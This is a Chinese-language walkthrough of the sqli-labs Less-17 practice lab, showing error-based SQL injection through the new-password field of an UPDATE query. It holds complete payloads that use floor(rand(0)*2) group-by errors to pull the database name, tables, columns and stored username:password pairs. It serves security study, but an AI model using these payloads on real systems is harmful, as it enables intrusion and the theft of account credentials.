sqli-labs Less-17 Update Query-Error Based-String

标题基于错误_POST_更新查询注入

这关模拟的场景是登录后在修改密码界面注入。

1、注入点分析:

第一步测试uname=1&passwd=1时,没有登录失败提示信息,只有下图的显示。
sqli-labs Less-17 Update Query-Error Based-String
接着尝试uname=1&passwd=1’和uname=1&passwd=1",还是什么都没有发生。
这关的提示是更改密码,后台的Mysql语句应该会用到update,查看看源码:
sqli-labs Less-17 Update Query-Error Based-String
可以看出:用户输入uname和passwd后,首先根据uname来进行查询数据库的username和password,若uname存在则用passwd替换password,若不存在则显示图片slap1.jpg。
只有用户名正确后,输入内容若有语法错误,页面便能够返回Mysql错误信息,这就可以利用子查询注入在错误信息中返回想要的数据。
注意:uanme在查询之前,用check_input()函数做了检查。
sqli-labs Less-17 Update Query-Error Based-String
check_input 函数中对uname做了处理:
1、若uname为非空,截取它的前15个字符。
2、若php环境变量magic_quotes_gpc打开,去除转义的反斜杠\。
3、若uname字符串非数字,将其中特殊字符转义;为数字则将其转为数字类型。
所以我们几乎不可能在uname处注入,只能考虑在passwd处注入。

2、注入方式

当我们在User Name 处输入admin,New Password处输入 ’ 后,出现下图的报错信息。
sqli-labs Less-17 Update Query-Error Based-String
可以判断出password处存在注入点,闭合方式为单引号,可以利用类似 Less13/14 的方式,采用基于报错的注入方式获取数据库信息。
select语句可通过union联合查询和CONCAT子查询,获得错误信息中的数据。
update(delete/insert)语句,通过or逻辑判断派生表来获得错误信息中的数据。

3、获取数据库信息

获取数据库名:
’ or (select 1 from (select count(*),concat("",(select database()),"",floor(rand(0)*2)) as a from information_schema.tables group by a) b) where username=“admin” – +
sqli-labs Less-17 Update Query-Error Based-String
爆出数据库名security

获取表名:
’ or (select 1 from (select count(*),concat("",(select table_name from information_schema.tables where table_schema=“security” limit 3,1),"",floor(rand(0)*2)) as a from information_schema.tables group by a) b) where username=“admin” – +
sqli-labs Less-17 Update Query-Error Based-String
通过结合 limit 来获取到想要的数据表名users 。

获取字段名:

’ or (select 1 from (select count(*),concat("",(select group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users”),"",floor(rand(0)*2)) as a from information_schema.tables group by a) b) where username=“admin” – +
sqli-labs Less-17 Update Query-Error Based-String
获取users表中的字段名为id,username,password 。

获取数据信息:

’ or (select 1 from (select count(*),concat("",(select concat(username,0x3a,0x3a,password) from users limit 0,1),"",floor(rand(0)*2)) as a from information_schema.tables group by a) b) where username=“admin” – +
sqli-labs Less-17 Update Query-Error Based-String